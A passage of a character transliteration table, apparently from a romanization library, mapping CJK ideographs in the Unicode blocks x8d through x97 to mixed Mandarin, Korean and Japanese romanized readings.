'Yu ','Jia ','Tuan ','Myo ','Pi ','Xi ','E ','Ju ','Mayk ','Chu ','Tan ','Huan ','Jue ','Phay ','Ceng ','Yuan ',
'Pwu ','Cay ','Kong ','Te ','Yi ','Hang ','Wan ','Pin ','Hwa ','Phan ','Tham ','Kwan ','Chayk ','Zhi ','Er ','Ce ',
'Sey ','Bi ','Ca ','I ','Kwi ','Pian ','Phyem ','May ','Tay ','Sheng ','Hwang ','Pi ','Chep ','I ','Chi ','Mwu ',
'Ha ','Pwun ','Loy ','Im ','Hoy ','Gai ','Pyen ','Ca ','Ka ','Xu ','Cek ','Jiao ','Gai ','Zang ','Jian ','Ying ',
'Xun ','Cin ','She ','Pin ','Pin ','Qiu ','She ','Chuan ','Zang ','Cwu ','Loy ','Chan ','Sa ','Chen ','Sang ','Tian ',
'Pay ','Kayng ','Hyen ','May ','Chen ','Sui ','Pwu ','Tan ','Cong ','Cong ','Cil ','Ji ','Cang ','To ','Jin ','Xiong ',
'Shun ','Yun ','Bao ','Zai ','Loy ','Feng ','Cang ','Ji ','Sheng ','Ai ','Zhuan ','Pwu ','Kwu ','Say ','Sayk ','Liao ',
],
'x8d':[
'Wei ','Bai ','Chen ','Zhuan ','Ci ','Chwey ','Biao ','Yun ','Cung ','Tan ','Chan ','An ','','Sem ','Wan ','Yeng ',
'Sin ','Gan ','Xian ','Cang ','Pi ','Du ','Sok ','Yan ','','Xuan ','Long ','Kong ','Cang ','Bei ','Zhen ','Fu ',
'Yuan ','Gong ','Cai ','Ze ','Xian ','Bai ','Zhang ','Huo ','Zhi ','Fan ','Tan ','Pin ','Bian ','Gou ','Zhu ','Guan ',
'Er ','Jian ','Bi ','Shi ','Tie ','Gui ','Kuang ','Dai ','Mao ','Fei ','He ','Yi ','Zei ','Zhi ','Jia ','Hui ',
'Zi ','Ren ','Lu ','Zang ','Zi ','Gai ','Jin ','Qiu ','Zhen ','Lai ','She ','Fu ','Du ','Ji ','Shu ','Shang ',
'Si ','Bi ','Cwu ','Geng ','Pei ','Tan ','Lai ','Feng ','Zhui ','Fu ','Zhuan ','Sai ','Ze ','Yan ','Zan ','Yun ',
'Zeng ','Shan ','Ying ','Gan ','Cek ','Xi ','Sa ','Nan ','Xiong ','Xi ','Cheng ','Hyek ','Cheng ','Ca ','Xia ','Tang ',
'Cwu ','Zou ','Li ','Kyu ','Pwu ','Zhao ','Kan ','Ki ','Shan ','Qiong ','Qin ','Xian ','Ci ','Jue ','Qin ','Chi ',
'Ci ','Cin ','Chen ','Die ','Ju ','Cho ','Di ','Se ','Zhan ','Zhu ','Wel ','Qu ','Jie ','Chi ','Cwu ','Gua ',
'Hyel ','Ca ','Tiao ','Duo ','Lie ','Gan ','Suo ','Cu ','Xi ','Co ','Su ','Yin ','Ju ','Jian ','Que ','Tang ',
'Cho ','Cui ','Lu ','Chwi ','Dang ','Qiu ','Zi ','Ti ','Chwu ','Chi ','Huang ','Kyo ','Qiao ','Yao ','Zao ','Ti ',
'','Zan ','Chan ','Cok ','Pa ','Pak ','Ku ','Ke ','Dun ','Jue ','Pwu ','Chen ','Kyen ','Fang ','Ci ','Sap ',
'Yue ','Pa ','Ki ','Yue ','Qiang ','Tuo ','Thay ','Yi ','Nian ','Ling ','Mei ','Pal ','Cil ','Ku ','Tha ','Ka ',
'Ci ','Pao ','Qia ','Zhu ','Ju ','Cep ','Chek ','Pwu ','Pan ','Ju ','San ','Pha ','Ni ','Ke ','Li ','Kun ',
'Yi ','Cek ','Dai ','Sen ','Kyo ','Duo ','Zhu ','Quan ','Kwa ','Zhuai ','Kwey ','Kong ','Kyu ','Xiang ','Chi ','Lo ',
'Beng ','Chi ','Jia ','Co ','Cai ','Chen ','Ta ','Qiao ','Bi ','Xian ','Duo ','Ji ','Kwuk ','Ki ','Shu ','Tu ',
],
'x8e':[
'Chu ','Jing ','Nie ','Xiao ','Bo ','Chi ','Cwun ','Mou ','So ','Lyang ','Yong ','Jiao ','Chou ','Qiao ','Mau ','Tap ',
'Chen ','Qi ','Wo ','Wei ','Thak ','Jie ','Ji ','Nie ','Ju ','Ju ','Lun ','Lu ','Leng ','Kwa ','Ke ','Ci ',
'Wan ','Quan ','Ti ','Pwu ','Zu ','Qie ','Ji ','Cu ','Zong ','Chay ','Cong ','Peng ','Zhi ','Zheng ','Dian ','Zhi ',
'Yu ','Thak ','Dun ','Chun ','Yong ','Cong ','Cey ','Zhe ','Chen ','Tan ','Jian ','Gua ','Tang ','Wu ','Fu ','Zu ',
'Cep ','Phyen ','Yu ','Nuo ','Cey ','Cha ','Tui ','Ken ','To ','Cha ','Hyey ','Ta ','Chang ','Zhan ','Dian ','Cey ',
'Ji ','Nie ','Man ','Liu ','Zhan ','Phil ','Chong ','Lu ','Liao ','Chwuk ','Tang ','Dai ','Chwuk ','Xi ','Kui ','Cek ',
'Chek ','Qiang ','Di ','Man ','Cong ','Lian ','Beng ','Zao ','Nian ','Pyel ','Tui ','Ju ','Deng ','Chung ','Xian ','Pen ',
'Cwu ','Zhong ','Cwun ','Bo ','Chwuk ','Zu ','Kwel ','Jue ','Lin ','Ta ','Kyo ','Qiao ','Pok ','Liao ','Dun ','Cuan ',
'Kuang ','Co ','Ta ','Bi ','Bi ','Chok ','Ju ','Ce ','Qiao ','Ton ','Cwu ','Cey ','Wu ','Yak ','Nian ','Lin ',
'Lyep ','Chek ','Lyek ','Ci ','Cen ','Chu ','Duan ','Wei ','Long ','Lin ','Sen ','Wei ','Zuan ','Lan ','Sep ','Rang ',
'Xie ','Sep ','Ta ','Qu ','Jie ','Cuan ','Zuan ','Xi ','Kui ','Kwak ','Lin ','Sin ','Kwung ','Dan ','Segare ','Qu ',
'Ti ','Tha ','Duo ','Kwung ','Lang ','Nerau ','Luo ','Ai ','Ji ','Ju ','Tang ','Utsuke ','','Yan ','Shitsuke ','Kang ',
'Kwu ','Lou ','Lao ','Tuo ','Zhi ','Yagate ','Chey ','Dao ','Yagate ','Yu ','Cha ','Al ','Kwey ','Kwun ','Wei ','Yue ',
'Xin ','Di ','Hen ','Fan ','Ren ','Shan ','Qiang ','Shu ','Tun ','Chen ','Dai ','E ','Na ','Qi ','Mao ','Yen ',
'Ren ','Fan ','Cen ','Hong ','Hu ','Qu ','Huang ','Di ','Lyeng ','Dai ','Ao ','Cin ','Fan ','Kuang ','Ang ','Peng ',
'Bei ','Gu ','Gu ','Pao ','Zhu ','Rong ','E ','Ba ','Chwuk ','Ci ','Cho ','Ka ','Il ','Kyeng ','Sik ','Pyeng ',
],
'x8f':[
'Er ','Qiong ','Ju ','Kyo ','Guang ','Lo ','Kai ','Cen ','Cwu ','Cay ','Zhi ','She ','Liang ','Yu ','Shao ','You ',
'Huan ','Yun ','Chep ','Man ','Po ','Kyeng ','Zhou ','Ni ','Ling ','Zhe ','Zhan ','Lyang ','Chi ','Hwi ','Mang ','Chel ',
'Guo ','Kan ','Yi ','Peng ','Qian ','Gun ','Lyen ','Pyeng ','Kwan ','Pay ','Lyun ','Pai ','Liang ','Ruan ','Rou ','Cip ',
'Yang ','Xian ','Chuan ','Cwu ','Chun ','Ge ','You ','Hong ','Swu ','Pok ','Zi ','Pok ','Wen ','Ben ','Cen ','Ye ',
'On ','Tao ','Kok ','Zhen ','Hal ','Wen ','Lok ','Jiu ','Chao ','Cen ','Wei ','Hun ','Sori ','Chel ','Kyo ','Zhan ',
'Pu ','Lao ','Pwun ','Fan ','Lin ','Ge ','Se ','Kem ','Hwan ','Yi ','Ji ','Dui ','Er ','Ye ','Ham ','Koyng ',
'Lei ','Pi ','Lyek ','Lyek ','Lo ','Lin ','Che ','Ya ','Gui ','Xuan ','Di ','Ren ','Zhuan ','E ','Lun ','Ruan ',
'Hong ','Gu ','Ke ','Lu ','Zhou ','Zhi ','Yi ','Hu ','Zhen ','Li ','Yao ','Qing ','Shi ','Zai ','Zhi ','Jiao ',
'Zhou ','Quan ','Lu ','Jiao ','Zhe ','Fu ','Liang ','Nian ','Bei ','Hui ','Gun ','Wang ','Liang ','Chuo ','Zi ','Cou ',
'Fu ','Ji ','Wen ','Shu ','Pei ','Yuan ','Xia ','Zhan ','Lu ','Che ','Lin ','Sin ','Ko ','Ci ','Sa ','Phi ',
'Zui ','Bian ','Lal ','Lal ','Ci ','Xue ','Phan ','Bian ','Pyen ','Bian ','','Bian ','Ban ','Sa ','Pyen ','Pyen ',
'Cin ','Yok ','Nong ','Nong ','Zhen ','Chuo ','Chuo ','Suberu ','Reng ','Pyen ','Pyen ','Sip ','Ip ','Liao ','Da ','Chen ',
'Kan ','Qian ','O ','O ','Hul ','Sin ','Yi ','Guo ','Mai ','Qi ','Za ','Wang ','tu ','Twun ','Yeng ','Ti ',
'Yun ','Kun ','Hang ','A ','Pan ','O ','Da ','E ','Huan ','Zhe ','Totemo ','Jin ','Yuan ','Wei ','Lian ','Chi ',
'Che ','Ni ','Cho ','Zhi ','I ','Hyeng ','Ka ','Chen ','Thay ','I ','Cek ','Pak ','Wang ','Cil ','Ze ','Tao ',
'Swul ','Tuo ','Kep ','Jing ','Hoy ','Tong ','You ','Mi ','Pyeng ','Cek ','Nay ','Yi ','Jie ','Chwu ','Lie ','Xun ',
],
'x90':[
'Thoy ','Song ','Kwal ','To ','Pang ','Hwu ','Yek ','Ci ','Hyeng ','Xuan ','Xun ','Pho ','Yu ','So ','Qiu ','Thwu ',
'Chwuk ','Kwu ','Di ','Di ','To ','Kyeng ','Cek ','Twu ','Yi ','Ce ','Thong ','Guang ','Wu ','Se ','Lyeng ','Sok ',
'Co ','Cwun ','Pong ','Lyen ','Suo ','Hoy ','Li ','Sako ','Lai ','Ben ','Cuo ','Jue ','Beng ','Huan ','Chey ','Lu ',
'Yu ','Cwu ','Cin ','Yu ','Thak ','Kyu ','Wi ','Ti ','Il ','Da ','Wen ','Luo ','Phip ','Nuo ','Yu ','Dang ',
'Sui ','Twun ','Swu ','Yan ','Chuan ','Ci ','Ti ','Wu ','Shi ','Ceng ','Yu ','Wun ','E ','Phyen ','Kwa ','Al ',
'Ha ','Hwang ','Cwu ','To ','Tal ','Wi ','Appare ','Yi ','Kwu ','Yo ','Chu ','Lyu ','Son ','Tap ','Chey ','Ci ',
'Wen ','So ','Ta ','Kyen ','','Yao ','Guan ','Zhang ','O ','Cek ','Ce ','Chi ','Sok ','Co ','Cha ','Twun ',
'Di ','Lou ','Ci ','Cuo ','Lin ','Cwun ','Yo ','Chen ','Sen ','Yu ','Yu ','Wu ','Lyo ','Ke ','Shi ','Phi ',
'Yo ','May ','Hay ','Swu ','Hwan ','Cen ','Teng ','I ','Mak ','Bian ','Pyen ','La ','Lye ','Yuan ','Yao ','La ',
'Li ','Up ','Ting ','Deng ','Qi ','Ong ','Shan ','Han ','Yu ','Mang ','Ru ','Kong ','','Kuang ','Fu ','Kang ',
'Pin ','Pang ','Hyeng ','Na ','','Shen ','Pang ','Yuan ','Chon ','Huo ','Sa ','Bang ','Wu ','Ju ','You ','Han ',
'Thay ','Kwu ','Bi ','Pi ','Pyeng ','So ','Phay ','Wa ','Ce ','Zou ','Ye ','Lin ','Kuang ','Kyu ','Cwu ','Shi ',
'Ku ','Wuk ','Gai ','Hap ','Kuk ','Cil ','Ji ','Xun ','Hou ','Xing ','Kyo ','Xi ','Gui ','Nuo ','Lang ','Jia ',
'Kuai ','Zheng ','Rou ','Yun ','Yan ','Cheng ','Dou ','Chi ','Lu ','Fu ','Wu ','Fu ','Ko ','Hak ','Lang ','Kyep ',
'Geng ','Kwun ','Yeng ','Bo ','Kuk ','Bei ','Li ','Yun ','Pwu ','Xiao ','Che ','Pi ','Qing ','Kwak ','','Tam ',
'Zou ','Ping ','Lai ','Ni ','Chim ','Wu ','Bu ','Hyang ','Dan ','Ju ','Yong ','Qiao ','Yi ','To ','Yan ','Mei ',
],
'x91':[
'Ruo ','Bei ','Ak ','Yu ','Juan ','Yu ','Yun ','Hou ','Kui ','Hyang ','Xiang ','Sou ','Tang ','Ming ','Xi ','Ru ',
'Chu ','Zi ','Chwu ','Ju ','O ','Hyang ','Yun ','Hao ','Yong ','Pi ','Mo ','Chao ','Fu ','Liao ','Un ','Zhuan ',
'Hu ','Qiao ','En ','Cang ','Man ','Qiao ','Xu ','Tung ','Bi ','Xin ','Bi ','Ceng ','Wei ','Ceng ','Mao ','Shan ',
'Lin ','Pha ','Tan ','Meng ','Ep ','Cao ','Hoy ','Feng ','Meng ','Zou ','Kwang ','Lian ','Zan ','Cen ','You ','Qi ',
'Yan ','Chan ','Zan ','Ling ','Huan ','Xi ','Feng ','Zan ','Lyek ','Yu ','Ceng ','Chwu ','Cak ','Pay ','Cwu ','Yi ',
'Hang ','Yu ','Cwu ','Yan ','Zui ','Mao ','Tham ','Hwu ','Tou ','Zhen ','Fen ','Sakenomoto ','','Yun ','Tai ','Tian ',
'Qia ','Tuo ','Cho ','Kem ','Ko ','So ','Pal ','Chou ','Zai ','Myeng ','Lak ','Chuo ','Swu ','You ','Tong ','Zhi ',
'Xian ','Cang ','Ceng ','Yin ','To ','Hyo ','May ','Hok ','San ','Loy ','Pu ','Zui ','Hai ','Yan ','Xi ','Niang ',
'Wei ','Lu ','Lan ','Em ','Tao ','Pei ','Zhan ','Swun ','Tan ','Chwi ','Chuo ','Cho ','Kun ','Cey ','Mian ','Du ',
'Ho ','Xu ','Seng ','Tan ','Jiu ','Chun ','On ','Pal ','Ke ','Sou ','Mi ','Quan ','Chwu ','Cuo ','On ','Yong ',
'Ang ','Zha ','Hay ','Tang ','Cang ','Piao ','Shan ','Yu ','Li ','Zao ','Lyo ','Uy ','Cang ','Bu ','Cho ','Hyey ',
'Tan ','Pal ','Nong ','Yi ','Lyey ','Kyak ','Jiao ','Yi ','Niang ','Ru ','Xun ','Chou ','Yan ','Ling ','Mi ','Mi ',
'Yang ','Hun ','Jiao ','Si ','Mi ','Yem ','Pyen ','Chay ','Sek ','Yu ','Shi ','Sek ','Li ','Cwung ','Ya ','Lyang ',
'Li ','Kim ','','Ga ','Yi ','Liao ','Dao ','Soy ','Ceng ','Po ','Qiu ','He ','Pwu ','Chim ','Zhi ','Ba ',
'Luan ','Fu ','Nai ','Co ','Sam ','Qiao ','Kwu ','Chen ','Zi ','Fan ','Wu ','Hua ','Han ','Kong ','Qi ','Mang ',
'Ri ','Di ','Si ','Xi ','Yi ','Chay ','Shi ','Tu ','Xi ','Nu ','Qian ','Kyuu ','Jian ','Pi ','Ye ','Kun ',
],
'x92':[
'Ba ','Fang ','Chen ','Xing ','Dou ','Yue ','Yan ','Pwu ','Pi ','Na ','Xin ','E ','Jue ','Twun ','Gou ','Yin ',
'Kem ','Phan ','Sap ','Ren ','Cho ','Niu ','Fen ','Yun ','Ji ','Qin ','Pi ','Guo ','Hoyng ','Yin ','Kyun ','Co ',
'Yi ','Zhong ','Nie ','Gai ','Ri ','Huo ','Tai ','Kang ','Habaki ','Ro ','Ngaak ','','Duo ','Zi ','Ni ','Tu ',
'Shi ','Min ','Gu ','Ke ','Lyeng ','Pyeng ','Yi ','Ko ','Pal ','Pi ','Ok ','Si ','Zuo ','Bu ','You ','Cen ',
'Kap ','Cin ','Shi ','Shi ','Chel ','Ke ','Chan ','Shi ','Shi ','Hyen ','Zhao ','Pho ','He ','Bi ','Sayng ','Se ',
'Sek ','Pak ','Cwu ','Chi ','Za ','Po ','Tong ','Kyem ','Fu ','Zhai ','Liu ','Yen ','Fu ','Li ','Wel ','Pi ',
'Yang ','Ban ','Pal ','Jie ','Kwu ','Swul ','Ceng ','Mu ','Ni ','Nie ','Di ','Jia ','Mu ','Dan ','Shen ','Yi ',
'Si ','Kwang ','Ka ','Bei ','Jian ','Tong ','Xing ','Hong ','Kyo ','Chi ','Er ','Ge ','Pyeng ','Shi ','Mo ','Ha ',
'Un ','Jun ','Zhou ','Chong ','Shang ','Tong ','Mo ','Lei ','Ji ','Yu ','Xu ','Im ','Zun ','Zhi ','Kong ','Shan ',
'Chi ','Sen ','Xing ','Cen ','Pi ','Chel ','Swu ','Hou ','Myeng ','Kwa ','Co ','Sem ','Ham ','Xiu ','Jun ','Cha ',
'Lao ','Ji ','Pi ','Ru ','Mi ','Yi ','Yin ','Guang ','An ','Diu ','You ','Se ','Kao ','Cen ','Luan ','Kasugai ',
'Ai ','Diao ','Han ','Yey ','Shi ','Keng ','Kwu ','So ','Zhe ','Swu ','Zang ','Ti ','Cuo ','Gua ','Gong ','Zhong ',
'Dou ','Lu ','Mei ','Lang ','Wan ','Xin ','Yun ','Bei ','Ok ','Su ','Yu ','Chan ','Ceng ','Bo ','Han ','Hyep ',
'Hong ','Cen ','Pong ','Chan ','Wan ','Zhi ','Si ','Hyen ','Wu ','Wu ','Tiao ','Gong ','Zhuo ','Lue ','Xing ','Chim ',
'Shen ','Han ','Lue ','Xie ','Se ','Ceng ','Ju ','Xian ','Tie ','Mang ','Pho ','Li ','Pan ','Yey ','Cheng ','Gao ',
'Li ','Te ','Pyeng ','Zhu ','','Tu ','Liu ','Zui ','Ke ','Cheng ','Wen ','Jian ','Kang ','Co ','Tao ','Chang ',
],
'x93':[
'Lun ','Guo ','Ling ','Bei ','Lok ','Li ','Cheng ','Pou ','Juan ','Min ','Zui ','Peng ','An ','Pi ','Xian ','A ',
'Chwu ','Lei ','A ','Kong ','Ta ','Kon ','Du ','Wei ','Chwu ','Chi ','Cayng ','Ben ','Nie ','Cong ','Swun ','Tam ',
'Ceng ','Ki ','Cen ','Chel ','Ki ','Yu ','Kum ','Kwan ','Myo ','Chang ','Cen ','Sek ','Tong ','Tao ','Ko ','Chak ',
'Shu ','Zhen ','Lok ','Meng ','Lu ','Hua ','Biao ','Ga ','Lai ','Ken ','Kazari ','Bu ','Nai ','Wan ','Zan ','',
'De ','Xian ','','Huo ','Liang ','','Men ','Kai ','Yeng ','Si ','Lyen ','Kwa ','Xian ','To ','Tu ','Wei ',
'Cong ','Fu ','Rou ','Ji ','Ak ','Rou ','Chen ','Cey ','Zha ','Hong ','Yang ','Tan ','Ha ','Wu ','Keng ','Xing ',
'Koyng ','Wei ','Fu ','Zhao ','Sap ','Qie ','She ','Hong ','Kui ','Tian ','Mwu ','Cho ','Cho ','Hou ','Yu ','Cong ',
'Hwan ','Ye ','Min ','Jian ','Duan ','Ken ','Si ','Kui ','Hu ','Xuan ','Zhe ','Jie ','Chim ','Bian ','Cong ','Zi ',
'Xiu ','Ye ','Mei ','Pai ','Ai ','Jie ','','Mei ','Chuo ','Ta ','Pang ','Xia ','Kyem ','Suo ','Xi ','Lyu ',
'Zu ','Ye ','Nou ','Weng ','Yong ','Tang ','Sway ','Cayng ','Ge ','Shuo ','Chwu ','Pak ','Pan ','Sa ','Bi ','Sang ',
'Gang ','Ca ','Wu ','Hyeng ','Hwang ','Tiao ','Liu ','Kay ','Sun ','Sha ','Sou ','Wan ','Ho ','Cin ','Cin ','Luo ',
'Il ','Yuan ','Tang ','Nie ','Xi ','Jia ','Ge ','Ma ','Juan ','Kasugai ','Habaki ','Suo ','','','','Na ',
'Lu ','Sway ','Ou ','Cok ','Tuan ','Xiu ','Guan ','Sen ','Lyen ','Shou ','O ','Man ','Mak ','Luo ','Bi ','Wei ',
'Liu ','Cek ','Qiao ','Cong ','Yi ','Lu ','O ','Kayng ','Cang ','Cui ','Qi ','Chang ','Tang ','Man ','Yong ','San ',
'Feng ','Kyeng ','Phyo ','Shu ','Lwu ','Xiu ','Chong ','Long ','Cham ','Jian ','Cao ','Li ','Xia ','Xi ','Kang ','',
'Beng ','','','Zheng ','Lu ','Hua ','Cip ','Pu ','Hui ','Qiang ','Po ','Lin ','Suo ','Swu ','San ','Cheng ',
],
'x94':[
'Kui ','Si ','Liu ','Nyo ','Hoyng ','Pie ','Sui ','Fan ','Qiao ','Quan ','Yang ','Tang ','Xiang ','Jue ','Jiao ','Cwun ',
'Lyo ','Jie ','Lao ','Tay ','Sim ','Zan ','Ji ','Jian ','Cong ','Tung ','Ya ','Ying ','Dui ','Jue ','Nou ','Ti ',
'Pu ','Tie ','','','Ding ','Sen ','Kai ','Jian ','Fei ','Sui ','Lo ','Cen ','Hui ','Yu ','Lian ','Zhuo ',
'Qiao ','Qian ','Zhuo ','Lei ','Bi ','Chel ','Hwan ','Ye ','Thak ','Guo ','Tang ','Ju ','Fen ','Da ','Bei ','Yi ',
'Ai ','Zong ','Hwun ','Diao ','Cwu ','Heng ','Zhui ','Ji ','Nie ','Ta ','Hwak ','Qing ','Pin ','Ying ','Kui ','Ning ',
'Xu ','Kam ','Kam ','Yari ','Cha ','Cil ','Mie ','Li ','Lei ','Ji ','Zuan ','Kwang ','Shang ','Peng ','Lap ','Du ',
'Sak ','Chuo ','Lye ','Phyo ','Bao ','Lu ','','Thoa ','Long ','E ','Lo ','Xin ','Jian ','Lan ','Bo ','Jian ',
'Yak ','Cham ','Yang ','Jian ','Xi ','Kwan ','Cang ','Sep ','Lei ','Cuan ','Qu ','Pan ','La ','Chan ','Lan ','Chak ',
'Nie ','Jue ','Tang ','Shu ','Lan ','Jin ','Qiu ','Yi ','Zhen ','Ding ','Zhao ','Po ','Diao ','Tu ','Qian ','Chuan ',
'Shan ','Sap ','Fan ','Diao ','Men ','Nu ','Xi ','Chai ','Xing ','Gai ','Bu ','Tai ','Ju ','Dun ','Chao ','Zhong ',
'Na ','Bei ','Gang ','Ban ','Qian ','Yao ','Qin ','Jun ','Wu ','Gou ','Kang ','Fang ','Huo ','Dou ','Niu ','Ba ',
'Yu ','Qian ','Zheng ','Qian ','Gu ','Bo ','E ','Po ','Bu ','Ba ','Yue ','Zuan ','Mu ','Dan ','Jia ','Dian ',
'You ','Tie ','Bo ','Ling ','Shuo ','Qian ','Liu ','Bao ','Shi ','Xuan ','She ','Bi ','Ni ','Pi ','Duo ','Xing ',
'Kao ','Lao ','Er ','Mang ','Ya ','You ','Cheng ','Jia ','Ye ','Nao ','Zhi ','Dang ','Tong ','Lu ','Diao ','Yin ',
'Kai ','Zha ','Zhu ','Xian ','Ting ','Diu ','Xian ','Hua ','Quan ','Sha ','Jia ','Yao ','Ge ','Ming ','Zheng ','Se ',
'Jiao ','Yi ','Chan ','Chong ','Tang ','An ','Yin ','Ru ','Zhu ','Lao ','Pu ','Wu ','Lai ','Te ','Lian ','Keng ',
],
'x95':[
'Xiao ','Suo ','Li ','Zheng ','Chu ','Guo ','Gao ','Tie ','Xiu ','Cuo ','Lue ','Feng ','Xin ','Liu ','Kai ','Jian ',
'Rui ','Ti ','Lang ','Qian ','Ju ','A ','Qiang ','Duo ','Tian ','Cuo ','Mao ','Ben ','Ki ','De ','Kua ','Kun ',
'Chang ','Xi ','Gu ','Luo ','Chui ','Zhui ','Jin ','Zhi ','Xian ','Juan ','Huo ','Pou ','Tan ','Ding ','Jian ','Ju ',
'Meng ','Zi ','Qie ','Yeng ','Kai ','Qiang ','Song ','E ','Cha ','Qiao ','Cong ','Duan ','Sou ','Koyng ','Huan ','Ai ',
'Du ','Mei ','Lou ','Zi ','Fei ','Mei ','Mo ','Zhen ','Bo ','Ge ','Nie ','Tang ','Juan ','Nie ','Na ','Liu ',
'Hao ','Bang ','Yi ','Jia ','Bin ','Rong ','Biao ','Tang ','Man ','Luo ','Beng ','Yong ','Jing ','Di ','Zu ','Xuan ',
'Liu ','Tan ','Jue ','Liao ','Pu ','Lu ','Dui ','Lan ','Pu ','Cuan ','Qiang ','Deng ','Huo ','Lei ','Huan ','Zhuo ',
'Lian ','Yi ','Cha ','Biao ','La ','Chan ','Xiang ','Cang ','Chang ','Jiu ','Ao ','Die ','Qu ','Liao ','Mi ','Chang ',
'Mwun ','Ma ','Shuan ','Sem ','Huo ','Men ','Yan ','Bi ','Han ','Phyey ','San ','Kay ','Kang ','Beng ','Koyng ','Lyun ',
'San ','Han ','Han ','Kan ','Min ','Xia ','Yuru ','Dou ','Kap ','Nao ','','Peng ','Xia ','Ling ','Bian ','Pi ',
'Run ','He ','Kwan ','Kak ','Hap ','Pel ','Chwuk ','Hong ','Kyu ','Min ','Se ','Kon ','Lang ','Lye ','Ting ','Sha ',
'Ju ','Yel ','Yel ','Chan ','Qu ','Lin ','Cheng ','Shai ','Kun ','Em ','Wen ','Yem ','An ','Hon ','Yek ','Wen ',
'Xiang ','Bao ','Xiang ','Kyek ','Yao ','Wen ','Ban ','Am ','Wi ','Yin ','Hwal ','Kyel ','Lan ','To ','','Phwung ',
'Tian ','Nie ','Ta ','Kay ','Hap ','Kwel ','Chum ','Kwan ','Dou ','Qi ','Kyu ','Tang ','Kwan ','Piao ','Ham ','Xi ',
'Kwey ','Chen ','Pyek ','Dang ','Huan ','Tal ','Wen ','','Men ','Shuan ','Shan ','Yan ','Han ','Bi ','Wen ','Chuang ',
'Run ','Wei ','Xian ','Hong ','Jian ','Min ','Kang ','Men ','Zha ','Nao ','Gui ','Wen ','Ta ','Min ','Lu ','Kai ',
],
'x96':[
'Fa ','Ge ','He ','Kun ','Jiu ','Yue ','Lang ','Du ','Yu ','Yan ','Chang ','Xi ','Wen ','Hun ','Yan ','E ',
'Chan ','Lan ','Qu ','Hui ','Kuo ','Que ','Ge ','Tian ','Ta ','Que ','Kan ','Huan ','Pwu ','Pwu ','Le ','Dui ',
'Xin ','Chen ','Ol ','Yi ','Chi ','Yin ','Yang ','Dou ','Ayk ','Sheng ','Phan ','Pei ','Keng ','Yun ','Wan ','Ci ',
'Pi ','Ceng ','Pang ','Yang ','Yin ','Zhen ','Jie ','Cheng ','E ','Qu ','Di ','Co ','Co ','Cem ','Ling ','A ',
'Tha ','Tuo ','Phi ','Bing ','Pwu ','Ji ','Lu ','Long ','Chen ','Xing ','Duo ','Lwu ','Mayk ','Kang ','Shu ','La ',
'Han ','Er ','Gui ','Yu ','Hay ','Shan ','Xun ','Qiao ','Hyeng ','Chun ','Fu ','Phyey ','Hyep ','Sem ','Sung ','Chek ',
'Pu ','Twu ','Wen ','Cin ','Cey ','Ham ','Tou ','Nie ','Yun ','Xian ','Pay ','Pei ','Chwu ','Yi ','Dui ','Lun ',
'Um ','Ju ','Swu ','Cin ','Pi ','Lung ','To ','Ham ','Lyuk ','','Hem ','Yin ','Ce ','Yang ','Reng ','Shan ',
'Chong ','Yan ','Yin ','Yu ','Cey ','Wu ','Lyung ','Wei ','Oy ','El ','Tay ','Swu ','An ','Hwang ','Kyey ','Swu ',
'Un ','Ki ','Yan ','Hui ','Kyek ','Wun ','Wu ','Oy ','Ay ','Kuk ','Tang ','Cey ','Cang ','Dao ','Ao ','Xi ',
'Un ','','Rao ','Lin ','Thoy ','Deng ','Pi ','Swu ','Swu ','O ','Hem ','Fen ','Ni ','Er ','Ji ','Dao ',
'Sup ','Un ','E ','Hyu ','Long ','Xi ','I ','Lyey ','Lyey ','Chwu ','He ','Chek ','Cwun ','Jun ','Nan ','Yi ',
'Cak ','An ','Qin ','Ya ','Wung ','A ','Cip ','Ko ','Huan ','Chi ','Gou ','Cwun ','Ca ','Ong ','Ce ','Chu ',
'Hu ','Cap ','Lak ','Yu ','Chou ','Co ','Swu ','Han ','Huo ','Ssang ','Kwan ','Chwu ','Cap ','Ong ','Kyey ','Xi ',
'Chou ','Liu ','Li ','Nan ','Xue ','Za ','Ji ','Ji ','Wu ','Wu ','Sel ','Na ','Fou ','Se ','Mu ','Mwun ',
'Pwun ','Pang ','Wun ','Li ','Li ','Ang ','Lyeng ','Loy ','An ','Pak ','Mong ','Cen ','Dang ','Xing ','Wu ','Zhao ',
],
'x97':[
'Swu ','Ji ','Mu ','Chen ','So ','Sap ','Ceng ','Cin ','Phay ','May ','Ling ','Qi ','Cwu ','Kwak ','Sap ','Pi ',
'Weng ','Cem ','Yin ','Yey ','Cwu ','Tun ','Lim ','','Dong ','Yeng ','Wu ','Ling ','Sang ','Ling ','Ha ','Hong ',
'Yin ','Mo ','Mai ','Wun ','Liu ','Meng ','Pin ','Mwu ','Wei ','Huo ','Um ','Xi ','Yi ','Ai ','Dan ','Deng ',
'Sen ','Yu ','Lo ','Long ','Dai ','Ji ','Pang ','Yang ','Phay ','Pyek ','Wei ','','Xi ','Cey ','May ','Meng ',
'Meng ','Lei ','Lyek ','Huo ','Ay ','Fei ','Chey ','Long ','Lyeng ','Ay ','Feng ','Li ','Po ','','He ','He ',
'Bing ','Cheng ','Cheng ','Jing ','Tian ','Zhen ','Ceng ','Cheng ','Qing ','Jing ','Ceng ','Cen ','Ceng ','Chen ','Pi ','Fei ',
'Ko ','Mi ','Myen ','Mian ','Pao ','Ye ','Cen ','Hui ','Yep ','Hyek ','Ding ','Cha ','Jian ','In ','Di ','Du ',
'Wu ','Ren ','Qin ','Kun ','Hwa ','Nyu ','Pha ','In ','Sa ','Na ','Mal ','Zu ','Tal ','Ban ','Yi ','Yao ',
'To ','Phi ','Jia ','Hong ','Pho ','Ang ','Tomo ','Yin ','Jia ','Tao ','Ji ','Hyey ','An ','An ','Hen ','Kong ',
'Kohaze ','Da ','Qiao ','Ting ','Man ','Ying ','Sui ','Tiao ','Cho ','Xuan ','Kong ','Beng ','Ta ','Zhang ','Bing ','Kuo ',
'Kwuk ','La ','Xie ','Yu ','Bang ','Yi ','Chwu ','Qiu ','Kal ','Xiao ','Mu ','Kwu ','Ken ','Phyen ','Cey ','Jian ',
'On ','To ','Kwu ','Ta ','Pi ','Xie ','Pan ','Ge ','Phil ','Kwak ','Tou ','Lou ','Gui ','Kyo ','Xue ','Ji ',
'Jian ','Kang ','Chan ','Tal ','Huo ','Xian ','Chen ','Du ','Wa ','Chen ','Lan ','Wi ','Ren ','Pwul ','Mei ','Juan ',
'Kap ','Wei ','Qiao ','Han ','Chang ','','Rou ','Xun ','She ','Wi ','Ge ','Bei ','To ','Kwu ','On ','',
